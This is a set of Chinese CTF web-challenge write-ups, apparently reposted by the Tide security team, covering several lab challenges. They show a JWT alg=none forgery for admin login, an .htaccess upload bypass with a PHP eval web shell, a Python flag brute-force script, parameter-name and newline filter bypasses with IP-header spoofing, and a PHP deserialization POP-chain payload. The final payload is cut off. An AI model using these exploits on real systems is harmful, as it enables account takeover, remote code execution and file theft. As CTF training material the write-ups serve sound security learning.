const secret = crypto.randomBytes(18).toString('hex');
const secretid = global.secrets.length;
global.secrets.push(secret)
const token = jwt.sign({secretid, username, password}, secret, {algorithm: 'HS256'});
ctx.rest({
token: token
});
await next();
},
这段中有验证cookie或session中的tooken的JWT密文的代码,可以伪造其中的JWT。
在登录的时候抓包
ey开头的这个就是JWT格式的编码,拿去相关网站解码
加密方式alg改为none,JWT支持none加密,也就是无签名加密,这样就可以忽略token,使任何token都生效
然后其他字段就可以随意改了,把用户名改成admin,再加密回去
authorization=eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjogImFkbWluIiwicGFzc3dvcmQiOiAiYSIsImlhdCI6IDE1ODc2MzIwNjN9.
然后再登录,抓包把JWT改成这个
可以看到登录成功了,然后这时浏览器存的已经是admin的cookie了
然后再去搜索flag.php就可以搜到了
题里给了一个压缩包
解压之后发现是整个网站的源码
打开网站是一个文件上传的页面
传一个php文件试试,发现直接就能上传成功了,不过上传成功之后会有一个图片的小图标
访问一下upload/2.php,提示Not Found,可能是被改名或者该后缀了
查看upload
然后访问2.php,还是不行
去查看一下源码
index.php文件php部分:
<?php
error_reporting(0);
session_start();
include('config.php');
$upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
@mkdir($upload);
file_put_contents($upload.'/index.html', '');
if(isset($_POST['submit'])){
$allow_type=array("jpg","gif","png","bmp","tar","zip");
$fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
die('upload error');
}else{
$filename=addslashes($_FILES['file']['name']);
$sql="insert into img (filename) values ('$filename')";
$conn->query($sql);
$sql="select id from img where filename='$filename'";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$id=$row["id"];
}
move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
header("Location: index.php?id=$id");
}
}
}
elseif (isset($_GET['id'])){
$id=intval($_GET['id']);
$sql="select filename from img where id=$id";
$result=$conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
$filename=$row["filename"];
}
$img=$upload.'/'.$filename;
echo "<img src='$img'/>";
}
}
?>
会在upload文件夹下为我们上传的文件再生成一个MD5加密名的文件夹
再查看apache2.conf
有这样一段
<Directory ~ "/var/www/html/upload/[a-f0-9]{32}/">
php_flag engine off
这一单是关闭了upload目录的php的解析,上传php文件就没有用了,能想到是用.htaccess修改配置,但是没有想到该怎么改
查阅他人的wp,有两种方法,可以构造一个 .htaccess文件
<FilesMatch .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</FilesMatch>
php_value auto_prepend_file .htaccess
#<?php eval($_POST['a']);?>
强制所有匹配的文件被一个指定的处理器处理:
ForceType application/x-httpd-php
SetHandler application/x-httpd-php
将.htaccess文件解析为php:
Require all granted #允许所有请求
php_flag engine on #开启PHP的解析
php_value auto_prepend_file .htaccess 在主文件解析之前自动解析包含.htaccess的内容
然后就可以post传参执行系统命令了找flag了
方法二:
还是上传.htaccess
<If "file('/flag')=~ '/flag{/'">
ErrorDocument 404 "wupco"
</If>
~ 用于开启正则表达式分析,正则表达式必须在双引号之间。
如果匹配到就设置ErrorDocument 404为"wupco",那么访问一个不存在的页面时就会显示wupco这个字符串
大佬的脚本
import requests
import string
import hashlib
ip = '02575f23c84096e2c8c64b878fabeea2'
print(ip)
def check(a):
htaccess = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco6"
</If>
'''
resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
print(a)
return True
flag = "flag{"
check(flag)
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
查看网页源码有这样一段注释
<!--
//1st
$query = $_SERVER['QUERY_STRING'];
if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}
!-->
要求我们GET传参b_u_p_t,不等于23333且能正则匹配,%0a换行绕过
并且不能有_以及%5f
用b.u.p.t代替b_u_p_t
?b.u.p.t=23333%0A
给出了flag的位置,访问一下
提示ip不对,只有本地能访问
加个XFF头试一下?
但是再看网页源代码
这个东西叫 jsfuck代码
比如[]==![]返回true,因为![]会返回flase,等号把flase转成0,然后左边空的[]也为0
大概就通过这种符号的拼凑就可以执行一些js代码
把这些jsfuck代码拿到网站运行一下
要求post传参个Merak,传参后给出了此页面的源码
Flag is here~But how to get it? <?php
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';
if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}
function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>
getIP()是自定义的函数通常用于获取http请求头中的Client-ip或者XFF字段,XFF刚刚试了不行
然后2333参数要是一个有指定内容的文件名,用data://写进去
然后将file参数用change()函数转换一下内容,再输出转换后的file文件名的内容
change函数会遍历file参数的每个字符,将第i个字符变成第i个字符的ascii码加上i*2对应的字符
将+i2改成-i2就得出了change后是flag.php的字符串
<?php
function unchange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
return $re;
}
$a="flag.php";
echo base64_encode(unchange($a));
?>
结果:ZmpdYSZmXGI=
payload:
?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
Client-IP:127.0.0.1
进来就显示了源码
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
开头提示了flag在flag.txt文件里
查看源码
第一个类Modifier中有一个魔术方法__invoke()函数会调用append()函数,然后append函数又会调用include()函数来包含成员变量var,只要让var等于flag.txt就可以获得flag
搜索一下里面出现过的所有魔术方法
__construct 当一个对象创建时被调用
__toString 当一个对象被当作一个字符串调用时触发
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
__invoke() 当脚本尝试将对象当做函数调用时触发
在Test类中有两个魔法函数construct和get
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
创建了一个成员变量p,然后_get方法中将p变量赋值给function然后返回了函数形式
__get() 用于从不可访问的属性读取数据,比如访问私有属性,或者不存在的属性
再看最后一个类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
__toString 当一个被当作一个字符串调用时触发
这个类中wakeup会在创建对象的时候调用,里面有一个preh_match函数会把this->source属性当成字符串,然后就会调用toString方法,只要toString的返回的类属性不存在,toString方法就会将返回的类属性当做字符串来返回给上一步的get方法,然后get方法再返回函数形式给invoke方法,invoke再调用append再调用include就可以读取到flag.txt
exp:
class Show{
public $source;
public $str;
}
class Test{
public $p;
}
class Modifier {
protected $var = 'flag.php';
}
$a = new Show();
$b = new Show();
$a->source = $b;
$b->str = new Test();
$b->str->p = new Modifier();
其实就是创建了这样一个东西:
a=Show{ source=Show{source Test{p=Modifier{var=flag.php}},str} str}
在创建a的时候调用了wakeup,wakeup把第一个source当成字符串,然后这时toString自动调用,toString返回$this->str->source,但是str没有值,所以get自动调用了,返回了this->p也就是M{var}并当成了函数调用,然后invoke自动调用,执行var也就是读取flag的语句
然后把a对象序列化
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:8:"flag.php";}}}s:3:"str";N;}
再用url编码后构造payload就可以了,但是读取不到东西,换一下伪协议filter用base64读取
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"*var";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}s:3:"str";N;}
url编码
?pop=
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%2%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modif
结果拿去解码
E
N
D
关
于
我
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室。团队公众号自创建以来,共发布原创文章400余篇,自研平台达到31个,目有18个平台已开源。此外积极参加各类线上、线下CTF比赛并取得了优异的成绩。如有对安全行业感兴趣的小伙伴可以踊跃加入或关注我们。